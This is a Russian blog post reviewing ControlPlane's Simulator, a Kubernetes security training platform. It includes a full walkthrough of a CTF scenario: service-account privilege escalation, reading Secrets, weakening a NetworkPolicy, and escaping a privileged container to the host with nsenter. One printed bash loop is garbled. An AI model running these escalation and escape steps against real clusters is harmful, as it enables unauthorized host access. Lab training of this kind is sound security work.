Обзор Simulator — платформы для обучения инженеров безопасности Kubernetes с помощью CTF-сценариев

от автора

Всем привет! На связи Дмитрий Силкин, DevOps-инженер компании «Флант». Ранее мы делали обзор инструментов для оценки безопасности кластера Kubernetes. Но что, если нам нужно обучить инженеров основам безопасности Kubernetes на реальных примерах и поставить процесс обучения на поток? Недавно компания ControlPlane, специализирующаяся на Cloud Native-решениях, выложила в открытый доступ Simulator — инструмент для обучения инженеров поиску уязвимостей в Kubernetes. Мы во «Фланте» решили протестировать этот симулятор и понять, насколько он перспективен и полезен.

В этой статье я расскажу, зачем нужен этот инструмент, как его настроить и установить, а также разберу его возможности. Для этого я решу один из сценариев, который предлагает Simulator. В конце обзора я оставлю своё мнение об инструменте и расскажу о ближайших планах его авторов.

Что такое Simulator и зачем он нужен

Simulator задумывался как практический способ познакомить инженеров с безопасностью контейнеров и Kubernetes. То есть это инструмент, с помощью которого можно обучать инженеров работе с уязвимостями в Kubernetes. Сами авторы Simulator называют ближайшим аналогом проект KataCoda, однако на данный момент эта платформа закрыта. Также есть похожий инструмент kube_security_lab, но сейчас он практически не развивается.

Simulator развёртывает готовый кластер Kubernetes в вашей учётной записи AWS: запускает сценарии, которые неправильно настраивают его или делают его уязвимым, и обучает устранению этих уязвимостей. Это сценарии различной сложности формата Capture the Flag, в которых инженеру нужно набрать определённое количество флагов для выполнения задания. На данный момент существует девять сценариев, разработанных для Cloud Native Computing Foundation (CNCF). Можно создать и свой сценарий: для этого необходимо описать его в виде Ansible Playbook.

Сценарии направлены на то, чтобы убедиться, что стандартные средства безопасности настроены должным образом. Такая базовая настройка Kubernetes должна быть проведена ещё до того, как разработчики приложения получат доступ к системе. Поэтому в первую очередь этот инструмент создавался для инженеров по безопасности, которые занимаются защитой своей платформы. Но он будет полезен и другим специалистам, связанным с безопасностью приложений, работающих с Kubernetes: DevSecOps-инженерам, разработчикам приложений и т.д.

Как пользоваться Simulator

Разберём работу Simulator по следующим этапам:

  • настройка и установка;

  • развёртывание инфраструктуры;

  • выбор сценария;

  • игра;

  • удаление созданной инфраструктуры.

Настройка и установка

Вся работа происходит в AWS, поэтому нам понадобится аккаунт в облаке. Для начала скачиваем актуальную версию Simulator и выполняем следующие действия в нашем AWS-аккаунте:

  1. Создадим для тестовых целей отдельного пользователя controlplaneio-simulator.

  2. Назначим созданному пользователю AWS IAM Permissions, указанные в документации.

  3. Создадим пару ключей AWS_ACCESS_KEY_ID и AWS_SECRET_ACCESS_KEY. Сохраним их, так как далее их будет использовать Simulator.

  4. Назначим Default VPC в облаке. Если не сделать этого, Simulator будет сваливаться в ошибку при развёртывании инфраструктуры.

Теперь можно создать конфигурационный файл для Simulator. Для минимальной настройки нужно задать имя бакета S3, в котором будет храниться Terraform-state. Наш бакет будет называться simulator-terraform-state:

simulator config --bucket simulator-terraform-state

По умолчанию конфигурация появится в $HOME/.simulator.

Далее выполним следующие действия:

  1. Укажем регион и сохранённые ранее ключи, чтобы Simulator имел доступ к аккаунту AWS.

  2. Создадим бакет S3.

  3. Скачаем необходимые контейнеры (для этого на нашей машине должен быть предварительно установлен Docker).

  4. Создадим образы виртуальных машин AMI, на основании которых Simulator будет развёртывать кластер Kubernetes.

export AWS_REGION=eu-central-1 export AWS_ACCESS_KEY_ID=<ID> export AWS_SECRET_ACCESS_KEY=<KEY>  simulator bucket create simulator container pull  simulator ami build bastion simulator ami build k8s 

Развёртывание инфраструктуры

Теперь можно выполнить развёртывание инфраструктуры для выполнения сценариев. Это займёт около пяти минут:

simulator infra create

Кластер Kubernetes готов. В AWS появились следующие виртуальные машины:

Выбор сценария

Посмотрим доступные сценарии с помощью команды simulator scenario list:

Мы увидим таблицу с доступными сценариями. В ней можно найти идентификатор, имя, описание, категорию и сложность сценариев. На данный момент есть три уровня сложности: 

  • Easy — лёгкий. В таких сценариях по ходу выполнения заданий появляются подсказки, а инженеру достаточно базовых знаний об основных сущностях Kubernetes.

  • Medium — средний. Здесь появляются задания по таким сущностям, как Pod Security Admission, Kyverno и Cilium.

  • Complex — сложный. В этом случае даётся очень мало вводной информации, тут уже потребуются глубокие знания как о Kubernetes, так и о смежных технологиях: в некоторых сценариях используются Dex, Elasticsearch, Fluent Bit и прочее.

Игра

Чтобы разобрать, как работает Simulator, возьмём для примера один простой CTF-сценарий — Seven Seas. Для его установки вводим следующую команду, куда подставляем ID сценария:

simulator install seven-seas

Когда установка завершится, необходимо подключиться к кластеру как пользователь:

cd /opt/simulator/player ssh -F simulator_config bastion

При входе получим приветственное сообщение:

При запуске сценария нам нужно разобраться, к каким ресурсам у нас есть доступ и что нам следует искать. Начнём с поиска по файловой системе. Из интересного — здесь существует домашняя директория пользователя swashbyter. Посмотрим, что в ней:

$ ls /home swashbyter $ cd /home/swashbyter $ ls -alh total 40K drwxr-xr-x 1 swashbyter swashbyter 4.0K Feb 18 08:53 . drwxr-xr-x 1 root       root       4.0K Aug 23 07:55 .. -rw-r--r-- 1 swashbyter swashbyter  220 Aug  5  2023 .bash_logout -rw-r--r-- 1 swashbyter swashbyter 3.5K Aug  5  2023 .bashrc drwxr-x--- 3 swashbyter swashbyter 4.0K Feb 18 08:53 .kube -rw-r--r-- 1 swashbyter swashbyter  807 Aug  5  2023 .profile -rw-rw---- 1 swashbyter swashbyter  800 Aug 18  2023 diary.md -rw-rw---- 1 swashbyter swashbyter  624 Aug 18  2023 treasure-map-1 -rw-rw---- 1 swashbyter swashbyter  587 Aug 18  2023 treasure-map-7

Здесь мы обратили внимание на три файла: diary.md, treasure-map-1 и treasure-map-7. Посмотрим содержимое файла diary.md:

В этом файле содержится задание. Нам нужно найти недостающие фрагменты treasure-map со второго по шестой. Получается, что treasure-map — это приватный SSH-ключ в формате Base64. Задача будет выполнена, если мы соберём все оставшиеся фрагменты в кластере, подключимся с помощью ключа к Royal Fortune и там найдём флаг. Также у нас есть подсказка, где указан путь, по которому нам надо проследовать:

На этой карте отмечены namespaces, по которым мы должны пройти, чтобы собрать все фрагменты.

Декодируем фрагмент, который у нас есть. Убедимся, что в нём действительно хранится часть ключа:

Идём дальше. Судя по printenv, мы находимся в контейнере:

$ printenv KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 THE_WAY_PORT_80_TCP=tcp://10.105.241.164:80 HOSTNAME=fancy HOME=/home/swashbyter OLDPWD=/ THE_WAY_SERVICE_HOST=10.105.241.164 TERM=xterm KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp THE_WAY_SERVICE_PORT=80 THE_WAY_PORT=tcp://10.105.241.164:80 THE_WAY_PORT_80_TCP_ADDR=10.105.241.164 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_HOST=10.96.0.1 THE_WAY_PORT_80_TCP_PORT=80 PWD=/home/swashbyter THE_WAY_PORT_80_TCP_PROTO=tcp

Попробуем получить список подов в текущем namespace:

$ kubectl get pods Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:arctic:swashbyter" cannot list resource "pods" in API group "" in the namespace "arctic"

Прав на это у нас нет, но мы выяснили, что сервисный аккаунт swashbyter находится в пространстве имён arctic, с которого и начинается наше путешествие. Посмотрим, какие у нас есть права в этом namespace:

$ kubectl auth can-i --list Resources                                       Non-Resource URLs                      Resource Names   Verbs selfsubjectreviews.authentication.k8s.io        []                                     []               [create] selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create] selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create] namespaces                                      []                                     []               [get list]

Из интересного — у нас есть только права на просмотр namespaces в кластере:

$ kubectl get ns NAME              STATUS   AGE arctic            Active   51m default           Active   65m indian            Active   51m kube-node-lease   Active   65m kube-public       Active   65m kube-system       Active   65m kyverno           Active   51m north-atlantic    Active   51m north-pacific     Active   51m south-atlantic    Active   51m south-pacific     Active   51m southern          Active   51m

Пройдёмся командой auth can-i --list в пространстве имён north-atlantic, так как он следующий по пути. Вдруг у нас там есть дополнительные права:

$ kubectl auth can-i --list -n north-atlantic Resources                                       Non-Resource URLs                      Resource Names   Verbs selfsubjectreviews.authentication.k8s.io        []                                     []               [create] selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create] selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create] namespaces                                      []                                     []               [get list] secrets                                         []                                     []               [get list]

Здесь у нас есть права на просмотр Secrets. В одном из них находится treasure-map-2:

$ kubectl get secrets -n north-atlantic NAME             TYPE     DATA   AGE treasure-map-2   Opaque   1      59m $ kubectl get secrets -n north-atlantic treasure-map-2 -o yaml apiVersion: v1 data: treasure-map-2: VHlSWU1OMzRaSkEvSDlBTk4wQkZHVTFjSXNvSFYwWGpzanVSZi83V0duY2tWY1lBcTNMbzBCL0ZaVFFGWm41Tk1OenE5UQplejdvZ1RyMmNLalNXNVh5VlBsdmdnc0Q5dHJ4ZkFoOSttNEN3cWpBMWN0c1RBVG1pQUZxVzJxNU1KSG51bXNrSGZBUzFvCkY5RWF3ZEExNkJQRFF3U3Rma2pkYS9rQjNyQWhDNWUrYlFJcUZydkFpeFUramh3c2RRVS9MVitpWjZYUmJybjBUL20wZTQKUytGT2t6bDhUTkZkOTFuK01BRFd3dktzTmd6TXFWZkwwL1NXRGlzaXM0U2g1NFpkYXB0VVM2MG5rTUlnWDNzUDY1VUZYRQpESWpVSjkzY1F2ZkxZMFc0ZWVIcllhYzJTWjRqOEtlU0g4d2ZsVFVveTg4T2NGbDdmM0pQM29KMU1WVkZWckg4TDZpTlNMCmNBQUFkSXp5cWlVczhxb2xJQUFBQUhjM05vTFhKellRQUFBZ0VBc05vd1A4amxGZUIrUUEzTGY1bkREa3pBODA5OW9PTzIKOGU3bEdlVHNrNjFtRGpRa3JIc1FneGt4YjBRcEJVTW9leGl2Y3BLWGt3bStuU0x4YmpVbjVJVzhURlloL3lneWtXOFViTQ== kind: Secret metadata:  creationTimestamp: "2024-02-18T08:50:11Z"  name: treasure-map-2  namespace: north-atlantic  resourceVersion: "1973"  uid: f2955e2a-47a7-4f99-98db-0acff328cd7f type: Opaque

Сохраним его, он нам понадобится позже.

Двигаемся дальше. Теперь посмотрим доступные права в пространстве имен south-atlantic:

$ kubectl auth can-i --list -n south-atlantic Resources                                       Non-Resource URLs                      Resource Names   Verbs pods/exec                                       []                                     []               [create delete get list patch update watch] pods                                            []                                     []               [create delete get list patch update watch] selfsubjectreviews.authentication.k8s.io        []                                     []               [create] selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create] selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create] namespaces                                      []                                     []               [get list] serviceaccounts                                 []                                     []               [get list]

Здесь у нас есть права на просмотр, создание подов и управление ими, а также на чтение сервисных аккаунтов. Проверим наличие подов и сервисных аккаунтов:

$ kubectl get pods -n south-atlantic No resources found in south-atlantic namespace. $ kubectl get sa -n south-atlantic NAME      SECRETS   AGE default   0         63m invader   0         63m

Подов в namespace нет, но есть сервисный аккаунт invader. Попробуем создать под в этом namespace, который запустится под этим сервисным аккаунтом. Возьмем образ kubectl из репозитория разработчиков инструмента. Опишем манифест и применим его:

apiVersion: v1 kind: Pod metadata:   name: invader   namespace: south-atlantic spec:   serviceAccountName: invader   containers:   - image: docker.io/controlplaneoffsec/kubectl:latest     command: ["sleep", "2d"]     name: tools     imagePullPolicy: IfNotPresent     securityContext:       allowPrivilegeEscalation: false

Exec’ом проникнем в контейнер и посмотрим, что у него есть в файловой системе:

kubectl exec -it -n south-atlantic invader sh Defaulted container "blockade-ship" out of: blockade-ship, tools / # ls bin         dev         home        media       opt         root        sbin        sys         usr contraband  etc         lib         mnt         proc        run         srv         tmp         var

Здесь вызывает интерес папка contraband — проверим, что в ней лежит:

/ # ls contraband/ treasure-map-3 / # cat contraband/treasure-map-3

Там находится третий фрагмент — сохраним его. Вместе с blockade-ship также создался sidecar-контейнер tools. Попробуем зайти в него. Здесь есть утилита kubectl, и мы знаем, что следующий пункт путешествия — southern-ocean. Проверим права на него:

$ kubectl exec -it -n south-atlantic invader -c tools bash root@invader:~# kubectl auth can-i --list -n southern Resources                                       Non-Resource URLs                      Resource Names   Verbs pods/exec                                       []                                     []               [create] selfsubjectreviews.authentication.k8s.io        []                                     []               [create] selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create] selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create] pods                                            []                                     []               [get list] 

Примерно такие же права, как в предыдущем namespace. Значит, надо посмотреть поды в namespace и выполнить exec. Далее смотрим файловую систему на наличие фрагмента карты. После поиска по файловой системе, видим, что существует директория /mnt/.cache. Поищем в ней четвёртый фрагмент. Здесь есть — сохраним:

root@invader:~# kubectl exec -it -n southern whydah-galley bash root@whydah-galley:/# ls -alh /mnt total 12K drwxr-xr-x  3 root root 4.0K Feb 18 08:50 . drwxr-xr-x  1 root root 4.0K Feb 18 08:50 .. drwxr-xr-x 13 root root 4.0K Feb 18 08:50 .cache root@whydah-galley:~# cd /mnt/.cache/ root@whydah-galley:/mnt/.cache# ls -alhR | grep treasur -rw-r--r-- 1 root root  665 Feb 18 08:50 treasure-map-4 -rw-r--r--  1 root root   89 Feb 18 08:50 treasure-chest

Следующая точка — indian. Посмотрим, какие у нас там есть разрешения:

root@whydah-galley:/mnt/.cache# kubectl auth can-i --list -n indian Resources                                       Non-Resource URLs                      Resource Names   Verbs selfsubjectreviews.authentication.k8s.io        []                                     []               [create] selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create] selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create] networkpolicies.networking.k8s.io               []                                     []               [get list patch update] configmaps                                      []                                     []               [get list] namespaces                                      []                                     []               [get list] pods                                            []                                     []               [get list] services                                        []                                     []               [get list] pods/log                                        []                                     []               [get]

В indian мы уже можем смотреть и configmaps, и даже логи подов. Пройдём по уже знакомой схеме: сначала проверим, какие поды запущены в namespace. Потом посмотрим логи пода, что за сервисы там есть, а также содержимое configmaps:

root@whydah-galley:/mnt/.cache# kubectl get pods -n indian NAME               READY   STATUS    RESTARTS   AGE adventure-galley   1/1     Running   0          114m root@whydah-galley:/mnt/.cache# kubectl logs -n indian adventure-galley 2024/02/18 08:51:08 starting server on :8080 root@whydah-galley:/mnt/.cache# kubectl get svc -n indian NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)    AGE crack-in-hull   ClusterIP   10.99.74.124   <none>        8080/TCP   115m root@whydah-galley:/mnt/.cache# kubectl get cm -n indian options -o yaml apiVersion: v1 data:   action: |     - "use"     - "fire"     - "launch"     - "throw"   object: |     - "digital-parrot-clutching-a-cursed-usb"     - "rubber-chicken-with-a-pulley-in-the-middle"     - "cyber-trojan-cracking-cannonball"     - "hashjack-hypertext-harpoon" kind: ConfigMap root@whydah-galley:/mnt/.cache# curl -v crack-in-hull.indian.svc.cluster.local:8080 * processing: crack-in-hull.indian.svc.cluster.local:8080 *   Trying 10.99.74.124:8080...

Пока непонятно, что делать с содержимым configmap, поэтому пойдём дальше. Видим, что сервер запущен на порте 8080, но почему-то при обращении к сервису мы не получаем ответ. Может быть, есть правила, ограничивающие доступ по этому порту?

root@whydah-galley:/mnt/.cache# kubectl get networkpolicies -n indian NAME       POD-SELECTOR            AGE blockade   ship=adventure-galley   116m root@whydah-galley:/mnt/.cache# kubectl get networkpolicies -n indian blockade -o yaml apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata:   creationTimestamp: "2024-02-18T08:50:15Z"   generation: 1   name: blockade   namespace: indian   resourceVersion: "2034"   uid: 9c97e41c-6f77-4666-a3f3-39112f502f84 spec:   ingress:   - from:     - podSelector: {}   podSelector:     matchLabels:       ship: adventure-galley   policyTypes:   - Ingress

Да, здесь есть ограничивающее правило. Оно запрещает все входящие соединения в поды, у которых есть лейбл ship: adventure-galley. Поэтому нужно разрешить входящий трафик:

apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata:   creationTimestamp: "2024-02-18T08:50:15Z"   generation: 3   name: blockade   namespace: indian   resourceVersion: "20773"   uid: 9c97e41c-6f77-4666-a3f3-39112f502f84 spec:   ingress:   - {}   podSelector:     matchLabels:       ship: adventure-galley   policyTypes:   - Ingress

Теперь сервер отдаёт нам HTML-страницу на порте 8080:

root@whydah-galley:/mnt/.cache# curl crack-in-hull.indian.svc.cluster.local:8080  <!DOCTYPE html> <html> <head>   <h3>Adventure Galley</h3>   <meta charset="UTF-8" /> </head> <body>   <p>You see a weakness in the Adventure Galley. Perform an Action with an Object to reduce the pirate ship to Logs.</p> <div>   <form method="POST" action="/">     <input type="text" id="Action" name="a" placeholder="Action"><br>     <input type="text" id="Object" name="o" placeholder="Object"><br>     <button>Enter</button>   </form> </div> </body> </html>

Сервер предлагает нам отправлять POST-запросы в виде пар «действие — объект». Какое-то из этих действий в итоге приведёт к тому, что в логе приложения появятся новые сообщения. Как раз здесь нам пригодится содержимое configmap, полученное в одном из предыдущих шагов:

apiVersion: v1 data:   action: |     - "use"     - "fire"     - "launch"     - "throw"   object: |     - "digital-parrot-clutching-a-cursed-usb"     - "rubber-chicken-with-a-pulley-in-the-middle"     - "cyber-trojan-cracking-cannonball"     - "hashjack-hypertext-harpoon" kind: ConfigMap

В данном configmap представлены объекты, над которыми можно совершить различные действия: «использовать», «сжечь», «запустить» и «бросить».

Попробуем применить каждое действие к каждому объекту с помощью bash-скрипта:

root@whydah-galley:/mnt/.cache# A=("use" "fire" "launch" "throw"); O=("digital-parrot-clutching-a-cursed-usb" "rubber-chicken-with-a-pulley-in-the-middle" "cyber-trojan-cracking-cannonball" "hashjack-hypertext-harpoon"); for a in "{O[@]}"; do curl -X POST -d "a=o" http://crack-in-hull.indian.svc.cluster.local:8080/; done; done NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT DIRECT HIT! It looks like something fell out of the hold. NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT

На каждый POST-запрос веб-сервер adventure-galley отдавал ответ об «эффективности» запроса. В итоге все запросы, кроме одного, не вызвали никакого эффекта. Может быть, приложение что-то записало в свой лог? Давайте посмотрим:

root@whydah-galley:/mnt/.cache# kubectl logs -n indian adventure-galley 2024/02/18 08:51:08 starting server on :8080 2024/02/18 10:58:36 treasure-map-5: qm9IZskNawm5JCxuntCHg2...

Adventure-galley отдал нам пятый фрагмент карты. Остался последний регион — south-pacific. Как всегда, сначала проверим права в данном namespace:

root@whydah-galley:/mnt/.cache# kubectl auth can-i --list -n south-pacific Resources                                       Non-Resource URLs                      Resource Names   Verbs pods/exec                                       []                                     []               [create] selfsubjectreviews.authentication.k8s.io        []                                     []               [create] selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create] selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create] deployments.apps                                []                                     []               [get list create patch update delete] namespaces                                      []                                     []               [get list] pods                                            []                                     []               [get list] serviceaccounts                                 []                                     []               [get list]

Из интересного: у нас есть права на управление жизненным циклом deployment. Проверим, какой сервисный аккаунт есть в данном namespace и запустим deployment под ним:

apiVersion: apps/v1 kind: Deployment metadata:   name: invader   labels:     app: invader   namespace: south-pacific spec:   selector:     matchLabels:       app: invader   replicas: 1   template:     metadata:       labels:         app: invader     spec:       serviceAccountName: port-finder       containers:       - name: invader         image: docker.io/controlplaneoffsec/kubectl:latest         command: ["sleep", "2d"]         imagePullPolicy: IfNotPresent

Попробуем создать deployment из манифеста. В этот раз запустить сущность не получилось из-за нарушения политик Pod Security Standards. Deployment при этом создался:

root@whydah-galley:~# kubectl apply -f deploy.yaml Warning: would violate PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "invader" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "invader" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "invader" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "invader" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") deployment.apps/invader created root@whydah-galley:~# kubectl get deployments -n south-pacific NAME      READY   UP-TO-DATE   AVAILABLE   AGE invader   0/1     0            0           2m33s 

Включим в манифест требуемые securityContexts и seccomp profile и применим его.

Забегая вперёд

Образ, который будет использоваться на последнем шаге, должен иметь установленные kubectl, jq, ssh. Так как контейнер будет запускаться с правами обычного пользователя, возможности их поставить вручную не будет.

Предупреждений по безопасности больше нет, и invader запустился:

apiVersion: apps/v1 kind: Deployment metadata:   name: invader   labels:     app: invader   namespace: south-pacific spec:   selector:     matchLabels:       app: invader   replicas: 1   template:     metadata:       labels:         app: invader     spec:       serviceAccountName: port-finder       securityContext:         seccompProfile:           type: RuntimeDefault       containers:       - name: invader         image: lawellet/simulator-invader:1.0.0         command: ["sleep", "2d"]         imagePullPolicy: IfNotPresent         securityContext:           allowPrivilegeEscalation: false           capabilities:             drop:             - "ALL"           runAsNonRoot: true           runAsUser: 1000           runAsGroup: 2000   root@whydah-galley:~# kubectl get pods -n south-pacific NAME                       READY   STATUS    RESTARTS   AGE invader-7db84dccd4-5m6g2   1/1     Running   0          29s 

Зайдём в контейнер и проверим права используемого сервисного аккаунта на пространство имен south-pacific:

root@whydah-galley:~# kubectl exec -it -n south-pacific invader-7db84dccd4-5m6g2 bash swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl auth can-i --list -n south-pacific Resources                                       Non-Resource URLs                      Resource Names   Verbs selfsubjectreviews.authentication.k8s.io        []                                     []               [create] selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create] selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create] secrets                                         []                                     []               [get list]

Посмотрим Secrets: тут есть treasure-map-6 — последний недостающий фрагмент:

swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get secrets -n south-pacific NAME             TYPE     DATA   AGE treasure-map-6   Opaque   1      178m swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get secrets -n south-pacific treasure-map-6 -o yaml apiVersion: v1 data:   treasure-map-6: c05iTlViNmxm…

Сохраним последний фрагмент и объединим найденные ранее части карты в один файл.

Последний пункт в нашем путешествии — это north-pacific. Проверяем права на одноимённый namespace:

swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl auth can-i --list -n north-pacific Resources                                       Non-Resource URLs                      Resource Names   Verbs selfsubjectreviews.authentication.k8s.io        []                                     []               [create] selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create] selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create] services                                        []                                     []               [get list] 

Кажется, что нам надо зайти на сервер по SSH, используя собранный на предыдущих шагах ключ:

swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get svc -n north-pacific NAME            TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)   AGE plot-a-course   ClusterIP   10.111.116.224   <none>        22/TCP    3h10m

Создаём в этом контейнере собранный ключ и подключаемся с его помощью к целевой машине:

Теперь осталось только найти флаг. Для начала проверим, в контейнере ли мы находимся. Посмотрим список процессов:

Судя по тому, что мы видим процессы, запущенные на хосте, мы оказались в привилегированном контейнере. Попробуем теперь посмотреть Linux Capabilities, доступные контейнеру (предварительно установив capsh):

root@royal-fortune:/# apt update && apt-get install -y libcap2-bin root@royal-fortune:~# capsh --print Current: =ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore Ambient set = Current IAB: Securebits: 00/0x0/1'b0  secure-noroot: no (unlocked)  secure-no-suid-fixup: no (unlocked)  secure-keep-caps: no (unlocked)  secure-no-ambient-raise: no (unlocked) uid=0(root) euid=0(root) gid=0(root) groups=0(root) Guessed mode: UNCERTAIN (0)

Наш процесс имеет все возможные Linux Capabilities. Значит, мы можем попробовать зайти в Host PID Namespace:

root@royal-fortune:~# nsenter -t 1 -i -u -n -m bash root@master-1:/# 

И в итоге мы оказались на узле. Здесь же находится наш финальный флаг. Сценарий завершён:

root@master-1:/# ls -al /root total 32 drwx------  4 root root 4096 Feb 18 12:58 . drwxr-xr-x 19 root root 4096 Feb 18 08:33 .. -rw-------  1 root root   72 Feb 18 12:58 .bash_history -rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc -rw-r--r--  1 root root  161 Jul  9  2019 .profile drwx------  2 root root 4096 Feb 15 15:47 .ssh -rw-r--r--  1 root root   41 Feb 18 08:50 flag.txt drwx------  4 root root 4096 Feb 15 15:48 snap root@master-1:/# cat /root/flag.txt flag_ctf{TOTAL_MASTERY_OF_THE_SEVEN_SEAS} 

В ходе выполнения заданий мы работали со следующими сущностями Kubernetes:

  • Kubernetes Secrets;

  • container images;

  • Pod Security Standards;

  • network policy;

  • pod logs;

  • service accounts;

  • RBAC;

  • sidecar containers;

Разобранный сценарий наглядно показывает: если некорректно распределить роли (выдали прав больше, чем нужно для работы приложения) на сервисные аккаунты, а также использовать привилегированные контейнеры, это может привести к возможности побега из контейнера и попадания на хост.

Удаление созданной инфраструктуры

Осталось удалить созданную инфраструктуру:

simulator infra destroy

Эта команда удалит виртуальные машины, на которых был развёрнут кластер Kubernetes.

Если больше пользоваться Simulator мы не планируем, также нужно удалить AMI-образы и бакет с terraform-state:

simulator ami delete bastion simulator ami delete simulator-master simulator ami delete simulator-internal simulator bucket delete simulator-terraform-state 

Итоги

Simulator от ControlPlane — относительно новый инструмент, и у создателей на него большие планы. В будущем они хотят реализовать ещё больше CTF-сценариев, добавить возможность развёртывать необходимую инфраструктуру локально с помощью kind, а также развивать интерактивность процесса обучения: мультиплеер, сохранение активности игроков, таблица лидеров и так далее. 

Нам же данная платформа показалась очень интересной и перспективной для обучения всевозможным эксплойтам и уязвимостям в кластере Kubernetes, и мы обязательно будем следить за её развитием.

P. S.

Читайте также в нашем блоге:


ссылка на оригинал статьи https://habr.com/ru/articles/798599/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *